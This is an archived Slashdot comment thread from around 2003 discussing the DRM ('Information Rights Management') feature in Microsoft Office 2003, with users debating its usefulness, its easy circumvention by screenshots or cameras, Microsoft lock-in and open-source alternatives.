Slashdot Mirror


Digital Restrictions Management in Office 11

conaone writes "According to a Microsoft Watch, there is a feature in the leaked Office 2003 called "Information Rights Management." A lot more control over documents with this... the story says: "Microsoft is threading DRM throughout the Office 2003 suite, allowing restrictions to be set on Outlook mail messages, as well as on Word, Excel and PowerPoint documents. Using "permission templates," document authors can determine restriction policies to be applied to entire categories of documents, according to Microsoft's site." Here's a link to the whole story."

453 of 625 comments (clear)

  1. This shouldn't concern anyone on Slashdot by Anonymous Coward · · Score: 5, Funny

    Because none of us are using Microsoft products or file formats... right?

    1. Re:This shouldn't concern anyone on Slashdot by twert · · Score: 5, Insightful

      Of course your are forgetting the most anoying thing about being in IT.... "You know some thing about computers, can explain why I can't print this e-mail" I can see the stupid questions pileing up now.

      (Does it look like I work at for the help-desk?)

      --
      Users are like bacteria, each one creating a tiny problem until the host dies.
    2. Re:This shouldn't concern anyone on Slashdot by MikeXpop · · Score: 5, Insightful

      Wrong. The majority of /. readers use Windows. Besides, even for those of us who don't use any Microsoft products at all, it's always good to know. Keep in mind slashdot is News for nerds, not News for Linux users.

      --
      Etiquette is etiquette. He kills his mother but he can't wear grey trousers.
    3. Re:This shouldn't concern anyone on Slashdot by blixel · · Score: 4, Funny

      Since when is 47% in a non-scientific survey a majority?

      Dude, this is Slashdot. Only 47% *admitted* to using Windows. The vast majority of the other 53% probably lied. I know I did. :)

    4. Re:This shouldn't concern anyone on Slashdot by MikeXpop · · Score: 1

      Well, not only the lying, but the poll was also asking slashdot users if Windows was their main OS. Many people on slashdot I'm guessing use Windows at work (with Office most likely) and Linux at home, and thus call their main OS Linux.

      --
      Etiquette is etiquette. He kills his mother but he can't wear grey trousers.
    5. Re:This shouldn't concern anyone on Slashdot by Anonymous Coward · · Score: 2, Insightful

      Of couse it concens all of those in the Open Software movement, because they are the ones that will have to be cloning this stuff on the Linux side of things.

    6. Re:This shouldn't concern anyone on Slashdot by zurab · · Score: 4, Funny

      Because none of us are using Microsoft products or file formats... right?

      Right. But check the CNet article - the name of this feature is Rights Management Service - RMS! I wouldn't want to be Microsoft right now; that's crossing the line.

    7. Re:This shouldn't concern anyone on Slashdot by grumpygrodyguy · · Score: 1

      Two Words:

      Open Office.

      --
      The government has a defect: it's potentially democratic. Corporations have no defect: they're pure tyrannies. -Chomsky
    8. Re:This shouldn't concern anyone on Slashdot by kryonD · · Score: 1

      The flip side is the ability to mark emails as copyrighted. How many times have you wanted to email someone and tell them straight that they are a Grade 'A', 1st Class moron? Of course the main thing that kept you from doing it was knowing it would get forwarded around and eventually to your boss who would chew your *ss for being unprofessional.

      I see these 'Look what this idiot just penned his name to' emails at least once a week. So in a sense, DRM will be expanding our first ammendment right to express ourselves in email without subsequently giving up our 5th ammendment right to not incriminate ourselves.

      The rest of it pretty much sucks @$$ though.

      --
      I've dirtied my hands writing poetry, for the sake of seduction; that is, for the sake of a useful cause. --Dostoevsky
    9. Re:This shouldn't concern anyone on Slashdot by SophtwareSlump · · Score: 1

      People actually know how to forward stuff? If you can still print it out, I'm going to reserve my 1st ammendment rights at work ;)

    10. Re:This shouldn't concern anyone on Slashdot by DoraLives · · Score: 2, Insightful
      cloning this stuff on the Linux side of things

      Until this statement is reversed in some substantial way, with Microsoft cloning things on the Windows side, the battle is not won.

      When that day dawns, we can all know that our work paid off. Till then, we're all just yapping like a pack of small, annoying dogs.

      --
      Is it fascism yet?
    11. Re:This shouldn't concern anyone on Slashdot by Junior+J.+Junior+III · · Score: 1

      No... The other 53% reported being used by Windows.

      Tracing the IP routes of those respondants revealed their location to be somewhere in Soviet Russia...

      --
      You see? You see? Your stupid minds! Stupid! Stupid!
    12. Re:This shouldn't concern anyone on Slashdot by kramer2718 · · Score: 1

      This is great news! Microsoft's support of DRM will only piss people off. The end is nigh in Redmond.

    13. Re:This shouldn't concern anyone on Slashdot by stephanruby · · Score: 1
      Since when is 47% in a non-scientific survey a majority?

      The original statement still stands. "47% of Slashdot Users are using Windows as their *main* OS". I am not one of those 47 percent, but I still use Windows once in a while. I would expect a good portion of those 53 percent do as well.

    14. Re:This shouldn't concern anyone on Slashdot by rseuhs · · Score: 1
      If we don't use MS products we are portraied as mindless fanatical zealots, if we do we are portraied as hypocrytes.

      I think the only position that is accepted is to swallow everything that comes out of Redmond without questioning it.

      P.S.: The only MS product I use regularily is my keyboard.

    15. Re:This shouldn't concern anyone on Slashdot by rseuhs · · Score: 1
      Until this statement is reversed in some substantial way, with Microsoft cloning things on the Windows side

      You mean like multiple desktops?

      Or themes?

      Or menubar/startbar applets?

      Microsoft is already copying a lot from Unix-GUIs on the desktop. Of course the Gates bootlickers will never know because they don't know anything other than Windows so every new feature is invented by Microsoft for them.

    16. Re:This shouldn't concern anyone on Slashdot by coderwolf · · Score: 1

      Unfortunately, it will piss off the little companies who dont have as much money to support the MS empire. However, the big ones who have the money to support the empire(and also have things to hide) will embrace the technology. If for no other reason than to enforce the secrets they need to hide. I am not sure this will destroy MS's market, tho I do think it will slim it more.

    17. Re:This shouldn't concern anyone on Slashdot by sean23007 · · Score: 1

      (Does it look like I work at for the help-desk?)

      ...or the English department?

      --

      Lack of eloquence does not denote lack of intelligence, though they often coincide.
    18. Re:This shouldn't concern anyone on Slashdot by DickBreath · · Score: 1

      Because none of us are using Microsoft products or file formats... right?

      Who says we're not?

      Ideally, we don't want to. We like open formats. We don't like slavery and domination. But that's the whole problem with Microsoft. It is very difficult, if not impossible, to avoid.

      It can be avoided. Just like you can avoid DVD's and VHS. (Use Beta videotape instead.) Use Macintosh. Use Linux. Use OpenOffice. But that just illustrates my point.

      If everything is interoperable, like VHS. I don't have to use Sony. I can choose Memorex, or Panasonic, or etc., etc., etc.

      What is wrong here is that Microsoft, having a monopoly, continues to try to force lock in.

      --

      I'll see your senator, and I'll raise you two judges.
    19. Re:This shouldn't concern anyone on Slashdot by BollocksToThis · · Score: 1

      The vast majority of the other 53% probably lied.

      I'll admit to using Windows. I won't admit to paying for it, though.

      It's a pride thing... like not telling my friends that I paid $3000 for a Pentium 75 last week.

      --
      This sig is part of your complete breakfast.
  2. So... by Schnapple · · Score: 4, Interesting

    ...perhaps I missed it, but if the new file format of Office 11 documents is all XML-based, then how is it they can "restrict" the documents? Isn't it all just text?

    1. Re:So... by chrisseaton · · Score: 1

      They could restrict it at file system level. I think this is part of the Palladium thing - that's why it's built into the OS.

    2. Re:So... by porkface · · Score: 4, Interesting

      The docs are text/XML, but they wrap them with DRM, which is just like any other encryption except that it has meta-info/rules included. To get at the text/XML, you have to be authorized via the DRM system on the machine. Palladium provides hardware that makes the DRM system less vulnerable to hacks.

    3. Re:So... by terraformer · · Score: 1
      It's called encryption.

      You encrypt the data, then encode it so it fits within an ascii document and presto, you can protect the contents of the document as it is transfered from user to user. Protecting it when it is edited/printed/viewed et al; is a totally different beast and has nothing to do with the underlying file format.

      --
      Who are you? The new #2 Who is #1? You are #617565. I am not a number, I am a free man! Muhahaha.
    4. Re:So... by Anonymous Coward · · Score: 1, Interesting

      XML is available as an option but the regular file format hasn't changed since Office 97.

    5. Re:So... by kfg · · Score: 1

      Which makes the whole real point of using XML ( other than buzzword compliance), well, pointless.

      The point is that XML can be machine and app independantly parsed if the need arise.

      Using an open format so that you say you use an open format and locking it up in an encrypted wrapper is *exactly* the sort of thing we can expect from MS right down the line, up to, and including, an official MS Linux distro.

      KFG

    6. Re:So... by zurab · · Score: 1

      The CNet article has more info - they will use this thing called XrMS (Extensible Rights Markup Language), and it will or can be cross-platform.

    7. Re:So... by PhilHibbs · · Score: 1

      Restrict an email, which is sent over the internet, at the file system level?

  3. What the heck is going to happen? by krray · · Score: 4, Insightful

    What's going to happen when people don't update? Or only a small portion update and people keep complaining to them that they can't read their documents? Or they have to down-save their documents to share with the world making the DRM garbage null and void?

    For this to really don't don't we all really just have to switch? I know I'm not going to allow this release in my company...

    1. Re:What the heck is going to happen? by Asic+Eng · · Score: 4, Insightful
      What's going to happen when people don't update?

      Well, how likely is that? Someone will update, then he'll produce some unreadable files, and since the next guy wants to read the files he'll have to upgrade. Maybe he'll hold out for a while, but he'll get fed-up having to complain to people about this pretty soon.

      That tactic has always worked for MS before - for the vast majority of users, there isn't a single feature in the last three "updates" which they actually want to use...

    2. Re:What the heck is going to happen? by supabeast! · · Score: 4, Insightful

      Actually, the DRM in Office idea makes a lot of sense. It will allow governments and corporations strong control over who can read electronic versions of documents, preventing information leaks. After Office 11 there might never be another "Pentagon Papers" type scandal because the government could just cut printing rights to sensitive documents. Companys will no longer have to worry about internal memos ending up on FuckedCompany.

      DRM is probably the killer app Microsoft needed to get all those companies still running Office 97 and Office 2000 to upgrade, and once they buy it, they will have to upgrade to keep the DRM working. This is way cool stuff.

    3. Re:What the heck is going to happen? by jgerman · · Score: 4, Insightful
      I for one am not about to bet national security on whether or not MS can implement a bug free security procedure. As far as FuckedCompany goes, you can't trust the information on that site anyway, it's 90% fabricated. I worked for a company that ended up on the site, and the majority of the posts were from people who still worked there and were pulling the chains of those who read the site religiously.


      This is NOT way cool stuff. What happens in 10 years when documents that haven't been viewed in the past five revisions suddenly become relevant and can't be read? What happens when MS starts "extending" their DRM implementations with every service pack?

      --
      I'm the big fish in the big pond bitch.
    4. Re:What the heck is going to happen? by Anonymous Coward · · Score: 1, Insightful

      Are you insane? If the document shouldn't be printed then it is probably SECRET and shouldn't be viewable on a computer with an attached printer anyway. This DRM is just another example of Microsoft trying to solve problems with integration that are best solved by better security practices.

    5. Re:What the heck is going to happen? by ackthpt · · Score: 4, Funny
      Companys will no longer have to worry about internal memos ending up on F**kedCompany.

      Or in courtrooms where they can be highly useful in convicting scumbags like the executives at Enron or WorldNet. Or revealing, such as those escaped memos from Microsoft which were worded something like, "Craig, Linux scares the f**k out of me, just like Java did, co-opt it and kill it, embrace and extend if we have to, but kill it. --Bill PS: Be over for dinner Tues., We're going to roast Stutz on a spit."

      Of course you could probably still just bring up the appropriate document, hit ALT-PrintScreen, then paste it in Paint and send the .bmp to anyone you like.

      More likely it'll work out the usual way, though, you can't crack it on your desktop, but if you leave your PC on, overnight, with IIS running, the cracker elves will unlock it for you by morning. That always works.

      --

      A feeling of having made the same mistake before: Deja Foobar
    6. Re:What the heck is going to happen? by yanestra · · Score: 3, Insightful
      the DRM in Office idea makes a lot of sense
      The main question is, who is the "keeper of the keys"? Who is able to unlock all the protective measures on secret or confidential documents?
      Guess who.
      If you consider that, the "protection" has exactly zero value for
      governments and corporations.
      They still need to develop their own mechanisms of protection if they really care about their data.
    7. Re:What the heck is going to happen? by Col.+Klink+(retired) · · Score: 1, Redundant

      First, I wouldn't say that making it easier for governments and corporations to engage in illicit behavior is a good thing. Maybe that's just me...

      Nevertheless, I actually think this technology might make such scandals MORE likely. If someone thinks that they can actually control information sent out of their physical control, perhaps they'll be more willing to detail their sins in Word.

      All a whistleblower has to do is bring in a digital camera and snap a picture of his screen or install Naturally Speaking on a laptop and read the "restricted" document aloud.

      --

      -- Don't Tase me, bro!

    8. Re:What the heck is going to happen? by Elwood+P+Dowd · · Score: 2, Interesting

      After Office 11 there might never be another "Pentagon Papers" type scandal because the government could just cut printing rights to sensitive documents. Companys will no longer have to worry about internal memos ending up on FuckedCompany.

      Unless:

      1) Someone reads the document, remembers it, and later recalls it at a non DRM computer.

      2) Someone takes a photograph of the screen. Seen sony's tiny little cameras lately?

      3) Someone uses a pencil and paper.

      The only thing this does is make it inconvenient to leak secrets. This does not make it difficult. This is still a good feature, as it is currently more convenient to violate secure channels than to follow them. But it's not stopping any leaks whatsoever.

      --

      There are no trails. There are no trees out here.
    9. Re:What the heck is going to happen? by Didion+Sprague · · Score: 3, Interesting

      I don't understand this.

      You mean to tell me that MS has disable the copy-and-paste, too?

      Seriously. Why couldn't I just copy-and-paste my secret memo into a text file and then forward it to FuckedCompany or AssWipeMemos or whatever Pud's pimping.

      It's interesting, though. All this DRM/IRM/whatever you want to call it is turning the computer into a block of metal and plastic. I'm old enough to remember the days of the Altair and the Osbourne MicroAce and the Commodore PET with the plastic keyboards -- and I'm troubled by this gradual shift from "hobbyist computers" to -- essentially -- blocks of metal that can only be used to do whatever corporations tell us we can do.

      Anyway, fuck it.

      If they disable copy-and-paste in Word 11, then it's useless.

      And why oh why can't Microsoft add EndNote functionality into their word processing software? For fuck's sake. They've added everything *but* a decent bibliographic manager. I keep hoping the next version of Word would actually add useful features for people who -- imagine that -- write for a living.

    10. Re:What the heck is going to happen? by nolife · · Score: 1

      It is not hard to print to PDF or PS which will render the whole future rights and access issue useless. I guess you could limit printing in some way but a screne capture could fix that. The problem with using this method is the dominos have to fall into place for you to NOT have access. Any one fails and access restriction can not be guarenteed.

      --
      Bad boys rape our young girls but Violet gives willingly.
    11. Re:What the heck is going to happen? by FFFish · · Score: 2, Insightful

      Er, cut printing rights?

      Easy enough to get around, if not by using the PrtScn key, then by taking a hires digital photograph and posting that image.

      --

      --
      Don't like it? Respond with words, not karma.
    12. Re:What the heck is going to happen? by 1010011010 · · Score: 1


      4) Someone writes shatter-esque software to copy out the text

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    13. Re:What the heck is going to happen? by b17bmbr · · Score: 1

      i agree that risking national security on m$ is like risking european safety on the french army

      however, it it was an open standard, and could implemented across platforms, etc., it would be a great idea. i think we all share the sentiment: it is not the message, but the messenger.

      --
      My problem? I was perfectly gruntled, until some numbnuts came by and dissed me.
    14. Re:What the heck is going to happen? by SN74S181 · · Score: 1

      News like this makes me feel glad that I sold my copy of Office XP (retail box upgrade edition) on eBay last month. I went back to running my early version of Office 2000 (which has no registration requirement- just the CD key) and it works just fine.

      Actually, for the use most people get from it, Office 4.3 works great, except for the lack of long filenames. Office 4.3 and WfW 3.11 was really probably the highest usability vs. resources-consumed OS/app combo that Microsoft is capable of or will ever achive. Microsoft had to actually wait for Novell to come out with their 'wrapper' of a client package before most businesses would run Windows 95 on the corporate desktop.

    15. Re:What the heck is going to happen? by Anonymous Coward · · Score: 1, Insightful

      Cut and paste could be restricted as well. DRM will never stop pirating, it can only make it more difficult, and less transparent. Despite the RIAA's best efforts, I can still plug a tape recorder into my headphone jack, or put a microphone next to the speaker. It won't be a perfect digital copy, but most people wouldn't be able to tell the difference, and from then on it's rights-free, and perfect digital copies of my imperfect recording can circulate.

      Doing this sort of thing at the document level is pretty retarded, though. When we're talking about text, perfect copies are easy to make by hand.

    16. Re:What the heck is going to happen? by dhwang · · Score: 2, Insightful
      I for one am not about to bet national security on whether or not MS can implement a bug free security procedure.

      You don't get it. This is a great idea for Microsoft to improve security for their products. On the surface, this plan doesn't really make sense, because if I don't want to you to read something, I wouldn't send it to you.

      However, what about all those instances where someone or something else is sending your files without your knowledge... Hypothetically speaking of course, what if someday, someone writes a virus that exploits Outlook or MS Office's scripting capabilities, and picks up one of your confidential files, attaches itself to it, and forwards it to everyone in your addressbook? Not only have you been exploited by a virus, but now your confidential files have been forwarded to who knows who?

      With Office 11, you be reassured that your confidential information is still safe. Don't you get it? It's a brilliant pro-active move by Microsoft to make your machine more secure before problems like that might occur.

    17. Re:What the heck is going to happen? by sowellfan · · Score: 1

      I wonder if it would work to just hold your scanner up to your computer screen. Of course, if someone had they time, they could always type data into another app as long as they could read it on the screen.

    18. Re:What the heck is going to happen? by Ringwraith · · Score: 1

      Microsoft does have End Notes. On Word XP it's under Insert > Reference. If you choose Footnote, you'll have the option of using End Notes, either at the end of the doc. or the end of a section. I know you can do them as far back as Office 97, because I've done it.

      Also, if you password protect a document you can make it so cut/paste are disabled. This has also been around since Office 97, I believe. The stuff is all just hidden in hard-to-find menus.

      --
      -- Hobbits suck!
    19. Re:What the heck is going to happen? by LordSah · · Score: 2, Insightful

      And the DoD isn't going to bet national security on this either. If you really don't want some data to get out, YOU DON'T TYPE IT UP AND GIVE IT TO PEOPLE. DRM in Office is going to let them use Office as they currently are, and lessen the risk of data leakage. That's it.

    20. Re:What the heck is going to happen? by sig97 · · Score: 1

      1) Someone reads the document, remembers it, and later recalls it at a non DRM computer.
      3) Someone uses a pencil and paper.


      That wouldn't look very credible in court, would it? A .txt file you wrote in Emacs doesn't make a strong evidence.

      2) Someone takes a photograph of the screen. Seen sony's tiny little cameras lately?

      Carrying around tiny cameras in Pentagon without permission is not advisable unless you're a suicide bomber looking for structural weaknesses ...

    21. Re:What the heck is going to happen? by phorm · · Score: 1

      The former assume access to the file already, so why not just cut+paste it into a different file format without DRM?

    22. Re:What the heck is going to happen? by poot_rootbeer · · Score: 2, Insightful

      It will allow governments and corporations strong control over who can read electronic versions of documents, preventing information leaks.

      Okay, but shouldn't access controls be handled at the filesystem level, rather than the application level?

      Between NT's duak System and Discretionary ACLs, file permissions on modern Windows systems are already robust (and confusing!) enough. I don't see how adding YET ANOTHER layer of complexity into the Office documents themselves provides any benefit.

    23. Re:What the heck is going to happen? by Col.+Klink+(retired) · · Score: 1

      I guess I assumed that, at the very least, MS would include DRM in their Copy buffers...

      --

      -- Don't Tase me, bro!

    24. Re:What the heck is going to happen? by Zero+Sum · · Score: 1
      With Office 11, you be reassured that your confidential information is still safe. Don't you get it? It's a brilliant pro-active move by Microsoft to make your machine more secure before problems like that might occur.

      There is another, better, "brilliant pro-active" move.

      Don't use Microsoft Software.

      --

      Zero Sum (don't amount to much). [root@localhost]

    25. Re:What the heck is going to happen? by DoctorPepper · · Score: 2, Informative

      Mod this guy up!

      I laughed so hard I damn near pissed my pants!

      --

      No matter where you go... there you are.
    26. Re:What the heck is going to happen? by Python · · Score: 2, Interesting
      DRM != security.

      DRm technologies are not going to prevent documents from falling into the wrong hands. The security model for DRM is weak and depends on a lot of factors that are outside the control of the party that is trying to protect that information.

      Using DRM to secure information is selling snake oil.

      --

      Python

    27. Re:What the heck is going to happen? by Zero+Sum · · Score: 1
      News like this makes me feel glad that I sold my copy of Office XP (retail box upgrade edition) on eBay last month. I went back to running my early version of Office 2000 (which has no registration requirement- just the CD key) and it works just fine.

      Fine, go ahead.

      How long do you think MS will support it?

      Not worried by that?

      Well do you think MS will let your 'obsolete' copy read it? Sheesh.

      You might as well go OpenOffice...

      --

      Zero Sum (don't amount to much). [root@localhost]

    28. Re:What the heck is going to happen? by lactose99 · · Score: 4, Funny

      1) Someone reads the document, remembers it, and later recalls it at a non DRM computer.

      This is a bug, and will be fixed in the next version of Microsoft's Thought Management Server v2.0

      --
      Fully licensed blockchain psychiatrist
    29. Re:What the heck is going to happen? by JKR · · Score: 2, Informative
      You mean to tell me that MS has disable the copy-and-paste, too? Seriously. Why couldn't I just copy-and-paste my secret memo into a text file and then forward it to FuckedCompany or AssWipeMemos or whatever Pud's pimping.

      Go google for "mandatory access control" vs "discretionary access control". Basically, if you have clearance to create top-secret documents, you CAN'T (the OS won't let you) create documents at a lower clearance level; sure, you can cut and paste, but only into another top-secret document.

      Jon.

    30. Re:What the heck is going to happen? by Zork+the+Almighty · · Score: 2, Insightful

      Actually I hate the message and the messenger. I want technology which works for me. There are already laws restricting what I can and can not do, we do not need to add "whatever is technologically possible" to the list of restrictions placed on citizens. If software implements DRM, as far as I am concerned, it is broken.

      --

      In Soviet America the banks rob you!
    31. Re:What the heck is going to happen? by Feztaa · · Score: 1

      It will allow governments and corporations strong control over who can read electronic versions of documents, preventing information leaks.

      Yeah, this is much better than getting government employess to just, you know, use PGP.

    32. Re:What the heck is going to happen? by Battle_Ratt · · Score: 1

      Yea, but for the most part non-corporate people don't pay for it now. When this will really hurt normal people is when MS finally forces people to properly register to install.
      They just haven't done it yet because the cage still has a key (Open Office, Star Office, etc.). DRM throws away the key.

    33. Re:What the heck is going to happen? by yellowstone · · Score: 2, Insightful
      Actually, the DRM in Office idea makes a lot of sense.
      Well, until someone realizes that all they need to bypass even the strongest document DRM system is a digital camera and some OCR software.
      --
      150 Opening BINARY mode data connection for slashdot.sig (129323052 bytes).
    34. Re:What the heck is going to happen? by DDX_2002 · · Score: 1
      Crypto won't help in the courts - it comes down to coughing up the passwords, or being introduced to your new cell-mate Tiny.

      Even if they don't jail you, in civil trials you can draw negative inferences from failures to produce - basically, if somebody won't cough up a document, the court can just assume that it says the worst about the party which didn't cough it up. Which is probably true.

      I don't know about the printscreen thing - Palladium + encrypted DRM-savvy DVI outputs and nobody's taking a screen capture of anything.

      --
      MHO. YMMV. Any resemblance between this post and real persons, or reality in general, was accidental.
    35. Re:What the heck is going to happen? by orangesquid · · Score: 1

      You know, this cheap digital camera I bought takes rather high-quality screen shots of monitors.
      They might fuck with the signal so cameras get confused but our eyes can understand it just fine, but then you only need a video camera and video processing software.

      --
      --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
    36. Re:What the heck is going to happen? by rgmoore · · Score: 1
      Go google for "mandatory access control" vs "discretionary access control". Basically, if you have clearance to create top-secret documents, you CAN'T (the OS won't let you) create documents at a lower clearance level; sure, you can cut and paste, but only into another top-secret document.

      Yeah, but how are they going to get that into Windows? AFAIK, WinXP does not have mandatory access controls, and that's going to be the primary platform for Office 2003. Without OS level support, MAC aren't possible. Microsoft could write all of their own software so that it respects other software's request not to let you copy something, and I assume that they could probably disable the clipboard if the user isn't allowed to copy the document, but they're going to have a lot of trouble beyond that. There's just no way that they can, for instance, prevent a third-party screen capture utility from looking at a document without completely rewriting the Windows security model.

      --

      There's no point in questioning authority if you aren't going to listen to the answers.

    37. Re:What the heck is going to happen? by rgmoore · · Score: 3, Informative

      You're talking about end notes; he's talking about EndNote, which is a completely different thing. EndNote is almost mandatory for anyone who writes any kind of document that requires a serious bibliography. It can import and store lists of references, reorganize them so that they're easy to find, and automatically format them into whatever exact format is required by the publisher. Every serious scientist I know has a huge library of EndNote references ready to put into their documents, and I assume that the same thing is true of scholars in other fields, lawyers, and just about anyone else who needs bibliographies.

      --

      There's no point in questioning authority if you aren't going to listen to the answers.

    38. Re:What the heck is going to happen? by IIRCAFAIKIANAL · · Score: 1

      or you could just take a photograph of it.

      Whoops, so much for that idea, eh? :)

      --
      Robots are everywhere, and they eat old people's medicine for fuel.
    39. Re:What the heck is going to happen? by T-Ranger · · Score: 1

      chmod -R a-r *
      Read and write via the a DRM-aware server only. Groupwise has been doing this for years.

    40. Re:What the heck is going to happen? by b17bmbr · · Score: 1

      what i meant by it is this: if i am working in company A, and i have important data, than only people from company A can see it. like, i don't know, credit card numbers. if I control the DRM, than fine. i understand the problem. it can, and will be, used to evil intent. but, i don't think this is a black and white area. that's all. of course, i trust m$ as far as i could throw ballmer.

      --
      My problem? I was perfectly gruntled, until some numbnuts came by and dissed me.
    41. Re:What the heck is going to happen? by theCat · · Score: 1

      Your whole company will switch when you buy a new computer for some new big-wig next year. It just takes one new machine in the wrong hands to start an avalanche when the High Mufti of Pencil Twiddling can't read a document he just got from the Most Exhalted Potentiate of Obfuscation because the latest PHB got himself a new Dell with all the latest M$ abortions installed. The very next memo to the IT department will be titled "Modernizing Corporate IT to Improve File Sharing Going Forward".

      We've all seen it. Kiss your long range strategic IT planning goodbye.

      --
      =^..^= all your rodent are belong to us
    42. Re:What the heck is going to happen? by ghost. · · Score: 1

      I guess they would have to take away the ability to ALT-PRINT SCREEN into another application as well?

      --
      Bush is a cylon.
    43. Re:What the heck is going to happen? by ibbey · · Score: 1

      The main question is, who is the "keeper of the keys"?

      Good point.

      If you consider that, the "protection" has exactly zero value for governments and corporations.

      Ah, but here you lost me. This isn't designed to be national-security sort of protection. This level of DRM is not going to do anything more then prevent casual browsing of my files. If someone really is determined, it would almost ceratinly be possible to hack the software. But that level of security is still -very- useful to many people. It shouldn't be viewed as a replacement for high security systems, but it is a nice supplement to them.

    44. Re:What the heck is going to happen? by Fallen_Knight · · Score: 1

      Won't stop people from retypeing it if they so wanted, or takeing a digital photo and useing OCR on another "insecure" computer.

    45. Re:What the heck is going to happen? by i+am+fishhead · · Score: 1

      No reason why you couldn't just write a program / modify a driver to look at video memory - there's no protection there ...

    46. Re:What the heck is going to happen? by wfrp01 · · Score: 1

      ...once they buy it, they will have to upgrade to keep the DRM working. This is way cool stuff.

      Are you trolling?

      This whole idea should come as a surprise to no-one. Microsoft's business plan has always been, and will always be, to compell people to use their products by creating de-facto proprietary standards. Remember all the starry-eyed innocent newbies gushing about Microsoft creating open XML standards for their file formats> Dream on. It never ceases to amaze me that people continue to bend over for these assholes. "Killer app"?! Yeah, like you can shoot me before I put up with this shit.

      --

      --Lawrence Lessig for Congress!
    47. Re:What the heck is going to happen? by bgarrett · · Score: 1

      Let's say that an office keeps their files centralized on some Windows Filesharing-compatible server. That's fine, but what if the server is running (say) Samba? NT permissions need not apply. Nor do they matter if you do what everyone seems enthralled with, emailing multi-megabyte Word documents around for consideration.

      --
      Nothing worth doing is worth doing today.
    48. Re:What the heck is going to happen? by pixel_bc · · Score: 1

      > You mean to tell me that MS has disable the copy-and-paste, too?

      No, but what makes you think you'll be allowed to paste it into a non-DRM enabled application? You think they'd leave a loophole like that open?

    49. Re:What the heck is going to happen? by Zeinfeld · · Score: 1
      You know, this cheap digital camera I bought takes rather high-quality screen shots of monitors.

      Yeah, but you might have a teensy problem doing that sort of thing on a regular basis without being observed by co-workers.

      DRM restrictions on content propagation are useful mainly to address the knuckle-head factor. The people who are not actually malicious but won't obey security policies. Folk like Wen Ho Lee and the head of the CIA.

      Until Palladium it will be fairly easy to subvert the DRM by modifying the code. But the people using the scheme are going to be doctors and lawyers and executive suite types whose main interest is what happens if their laptop gets stolen.

      Yeah you can try to use file encryption, only the problem there is that none of the systems so far deployed have a decent user interface for use by groups of users. The DRM stuff looks much better there.

      --
      Looking for an Information Security student project suggestion?
      Try http://dotcrimeManifesto.com/
    50. Re:What the heck is going to happen? by kcelery · · Score: 1

      Just the opposite, if you receive an email from your accountant film stating on the subject "FOR YOUR EYES ONLY". You will immediate have an anxiety complex for not updating you Office.

    51. Re:What the heck is going to happen? by kcelery · · Score: 1

      Yes, no one can stop you in front of the screen to taken pictures from wrist-watch camera, right? Mr Bond.

    52. Re:What the heck is going to happen? by rseuhs · · Score: 1
      It worked, but now it stopped working. Most users are pretty happy with Office2K, some are even using Office97 only few have upgraded to OfficeXP (I've read somewhere 11% which looks right).

      With computer sales slacking, OpenOffice making inroads and no new useful features, it will be even harder for Microsoft to get people to update.

    53. Re:What the heck is going to happen? by rseuhs · · Score: 1
      You are really buying it, right?

      But in real life, this system changes nothing. If you send a document to somebody, you have to trust this somebody. If this somebody gets hacked or whatever, others will be able to view the document, too.

      Nothing changes.

    54. Re:What the heck is going to happen? by rseuhs · · Score: 1
      If *you* would get it, you would realize that the virus would probably run with your privileges, thus having full access to all your precious files.

      This whole thing is 1) a duplication of file access privileges and 2) too complicated to ever get used by common users. (Hell, even ACLs are too damn complicated to get widely used.)

      If I create a user "top-secret" and have all my top-secret important documents readable only by that user while doing my normal activities under my normal user, I will have much better security than with this new buzzword-of-the-week scheme.

    55. Re:What the heck is going to happen? by Beatbyte · · Score: 1

      Well since you're installing Office 11, I think they could fit something on there to "upgrade" the clipboard, or install MAC.

      Nothing stopped them before (bundling Outlook Express, IE, etc. with Office)..

    56. Re:What the heck is going to happen? by mslinux · · Score: 1

      After Office 11 there might never be another "Pentagon Papers" type scandal because the government could just cut printing rights to sensitive documents.

      Ever heard of 'screen print'?

      I could fire-up VNC, from my Linux desktop, view the remote Windows desktop and do a simple screen print of the document.

    57. Re:What the heck is going to happen? by supabeast! · · Score: 1

      Since about 15 people have brought this up, I may as well answer...

      Try doing that with hundreds of pages of documents. Try doing it in a secure location where people check up on each other. Now try doing it for dozens or even hundreds of such documents. It isn't that easy when documents get big and there are piles of them. Andersen has been accused of shredding multiple office building floors worth of staged documents. With DRM, the documents can be locked down on one server, printing, copying, etc. can be blocked. If the files need to be destroyed, there are no copies to track down, no printouts to shred, just a few hard disks and backup tapes to degauss.

      Strong DRM in a well-structured environment is worth all the money and effort it requires, and Microsoft is going to keep the Office money flowing in by selling DRM.

    58. Re:What the heck is going to happen? by IIRCAFAIKIANAL · · Score: 1

      No, I said photograph. As in using a camera, with film and a dark room.:)

      Remember, you can never plug the analog hole.

      --
      Robots are everywhere, and they eat old people's medicine for fuel.
  4. I just bought a new laptop by RobPiano · · Score: 4, Insightful

    I just bought a new laptop, 12 Inch Powerbook..

    I sat and debated, can I live without MS Office. I then came to the decision. Open Office + Keynote was all I needed for my needs.

    Are you all avoiding MS Office? What do you use instead?

    I will not buy DRM.

    Rob

    1. Re:I just bought a new laptop by Ducon+Lajoie · · Score: 4, Interesting

      I'm sorry to inform you that, while I like my OS X, QuickTime has had DRM built-in for a while.

    2. Re:I just bought a new laptop by SweetAndSourJesus · · Score: 1

      Yeah, well, you don't have to worry about buying DRM. Office 11 is for Windows machines.

      --

      --
      the strongest word is still the word "free"
    3. Re:I just bought a new laptop by Ec|ipse · · Score: 2, Interesting

      My worry is that this may be a way for Microsoft to prevent programs like OpenOffice, Hancom or others from opening documents created with a Microsoft product. There's no mention, but it wouldn't be the first time Microsoft did something to this effect.

    4. Re:I just bought a new laptop by seelevarcuzzo · · Score: 2, Informative

      Open Office.

      1. its NOT microsoft
      2. its open source
      3. it WORKS
      4. it can do everything m$ 0ffic3 can do.. cross platform.
      5. i like the logo

    5. Re:I just bought a new laptop by gimpboy · · Score: 2, Interesting

      This is a good thing. I know, I know, M$==bad and all of that, and yes, you have to activate the product - break out the tinfoil hats! But this sort of DRM is on your side - as in, people can't break into your files.

      people cannot break into my files now. that is what pgp is for. ms could of course use a standard like pgp, but then they woldnt be able to lock out their competitors. i'm sorry. propritery drm is not in my best interests or yours. by using their formats you are preventing yourself from viewing your own doucments without their software-you are doing yourselves no favors.

      --
      -- john
    6. Re:I just bought a new laptop by kalidasa · · Score: 1

      No, it cannot do everything that MS Office can do. Not yet. But it's getting there.

